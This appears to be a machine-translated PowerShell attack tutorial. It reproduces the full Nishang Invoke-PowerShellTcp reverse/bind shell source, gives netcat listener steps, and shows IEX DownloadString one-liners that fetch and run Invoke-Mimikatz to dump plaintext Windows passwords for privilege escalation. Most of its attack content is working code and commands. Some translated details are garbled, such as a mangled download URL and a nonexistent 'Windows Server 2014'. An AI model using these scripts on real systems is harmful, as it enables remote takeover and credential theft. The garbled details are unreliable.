0x00 introduction
After learning the basic part, we have a basic understanding of PowerShell. Next, we will add some basic knowledge first, and then try to analyze the excellent code in nishing to learn how to use the script finally. Notice that the third advanced article takes you to use PowerShell to navigate the intranet.
0x01 supplementary knowledge
A command format
<command -name > -< Required Parameter Name > <Required Parameter Value >
命令 -名称 请求参数名 请求参数值
[ -< Optional Parameter Name > <Optional Parameter Value >]
[ -< Optional Switch Parameters >]
[ -< Optional Parameter Name >] <Required Parameter Value >
B equivalent alias
Many commands have aliases and are familiar to DOS users or UNIX users. Aliases are a short form of command, but they are equivalent.
Command Aliases (命令别名)
clear-host cls, clear
format-list fl
get-childitem gci, ls, dir
get-content gc, cat, type
get-location gl, pwd
get-member gm
remove-item ri, rm, rmdir, del, erase, rd
write-output write, echo
C execution strategy issues
PowerShell script execution policy is not allowed to execute any script by default. If we have not modified the execution policy and run it directly, the following problems may occur.
Terms of settlement
First, check the script execution policy settings. You can use the get executionpolicyget executionpolicy command. If restricted is displayed, no scripts are allowed to execute. Run powerhsell as administrator and execute the command: set executionpolicy remotesigned enter to execute the script.
0x02 analyze TCP interactive PowerShell script
The script is taken from nishang, a PowerShell attack framework, which is a collection of PowerShell attack scripts and payloads. Nishang is widely used in all stages of penetration testing. Download address: https://github.com/samratashok/nishang.
First paste its TCP interactive PowerShell script (to establish a TCP forward connection or reverse connection shell) code as follows:
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
注释部分
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
A notes
The comment section describes the summary, purpose, case and reference link of the script.
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
注释部分
#>
B param operation parameters
Defaultparametersetname = "reverse" indicates that reverse shell connection is adopted by default. Optional and mandatory parameters must use both reverse and bind. The optional default value is reverse, but $IPAddress and $port must be set. Finally, the final value is obtained according to the input content matching type.
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
<# DefaultParameterSetName="reverse" 说明默认采用反向shell连接的方式。
可选参数和强制参数必须同时使用 reverse和bind可选默认值为reverse,但是$IPAddress和$Port必须 进行设置。
$IPAddress 目标IP地址
$Port 目标端口
#>
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
<#
根据输入的内容匹配类型
#>
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
C main function part
try
{
# 连接有可能出错所以这里使用个异常处理trt catch,
# 判断是否存在对应值,如果存在建立TCP反向shell连接,本机充当客户端。
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
# 判断是否存在对应值,如果存在建立TCP正向shell连接,本机充当服务端。
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
# 构建数据流
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#把靶机的相关信息发送到攻击机中去
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#交互式信息提示
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
# 判断数据是否传输完成,不完成就传输完为止
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#执行命令,然后输出
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
# 异常处理
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
# 用于返回当前路径
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
# 清楚错误
$error.clear()
$sendback2 = $sendback2 + $x
#返回ASCII编码过后的数据
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
# 刷新流
}
# 关闭连接
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
# 异常处理
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
0x03 script use
A Import command mode
The Import command mode is to import the PS1 file into PowerShell and then run the function directly on the command line.
Import-Module '.\Invoke-PowerShellTcp .ps1'
Reverse connection
Step 1: use NC to monitor the local port 4444 on the attacker (monitor first and then connect, otherwise an error will occur.)
Step 2: target machine running connection command
Invoke powershelltcp reverse IPAddress attacker IP port the port the attacker listens on
Step 3: connect successfully and get the shell
Forward connection
Step 1: target machine starts monitoring
Invoke-PowerShellTcp -bind -port 4444
Step 2: attack machine NC connects to target machine
nc -nv 192.168.17.132 4444
Step 3: connect successfully and get the shell
B non Import command mode
This mode does not need to import PowerShell and runs the script directly.
Forward connection
Step 1: add execute listening command to PS1 file
Invoke-PowerShellTcp -bind
Step 2: run the PS1 file, set the listening port, and enable listening
.\Invoke-PowerShellTcp.ps1
Step 3: the attacker NC connects to the target and obtains the shell
Reverse connection
Step 1: monitor port of attacker
nc -lvp 8888
Step 2: add execute connection command to PS1 file
Invoke-PowerShellTcp -reverse 192.168.17.134 8888
Step 3: get the shell
0x04 mimikatz obtains the target host account password in combination with PowerShell
In the process of actual combat, in order to expand the outcome of the war, we have to raise the right after obtaining the low authority users. The simplest way to raise the right without 0day is to directly obtain the administrator account password of the target host. When it comes to getting passwords, we have to mention mimikatz. Mimikatz is an open-source tool written in C language, which has powerful functions. It supports the extraction of plaintext password, hash, pin code and Kerberos credentials from windows system memory, as well as several hacker technologies such as pass the hash, pass the ticket, build golden tickets, etc.
I'm talking about the use of PowerShell in combination with mimikatz. The experimental environment is a Tencent cloud server window server 2008.
A. local network environment operation
Step 1: Download invoke-mimikatz.ps1
Invoke-mimikatz.ps1 download address: https://raw.githubusercontent.com/competition/powerspot/master/exfiltration/invoke-mimikatz.ps1
Step 2: direct one sentence operation
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
#或者 本地搭建网络环境http://192.168.1.1/
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/');Invoke-Mimikatz -DumpCreds"
<#
假如存在执行策略问题:
Get-ExecutionPolicy //结果显示restricted
Set-ExecutionPolicy Unrestricted //打开限制
Import-Module .\Invoke-Mimikatz.ps1 //导入命令
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"' //获取密码
#>
Step 3: obtain clear text password successfully
B. online network environment operation
Step 1: execute the command directly
Execute commands on Windows 2008 and above
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
ontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); I
nvoke-Mimikatz -DumpCreds"
Note: the target machine must be able to access the raw.githubusercontent.com network normally, because it needs to connect to download the PS1 file. Windows Server 2014 and above can only get NTLM value, and cannot get plaintext password normally.
Step 2: obtain clear text password successfully
0x05 summary
This article focuses on learning how to analyze scripts, how to analyze what others have written, and how to write a similar script by yourself is a matter of minutes. The purpose of analysis is to imitate well, to let ourselves avoid detours, and to surpass is what we should do. Then we talked about the use of scripts and gave a practical example to obtain the plaintext password. I hope you can learn to use PowerShell, and then pay attention to it, master it.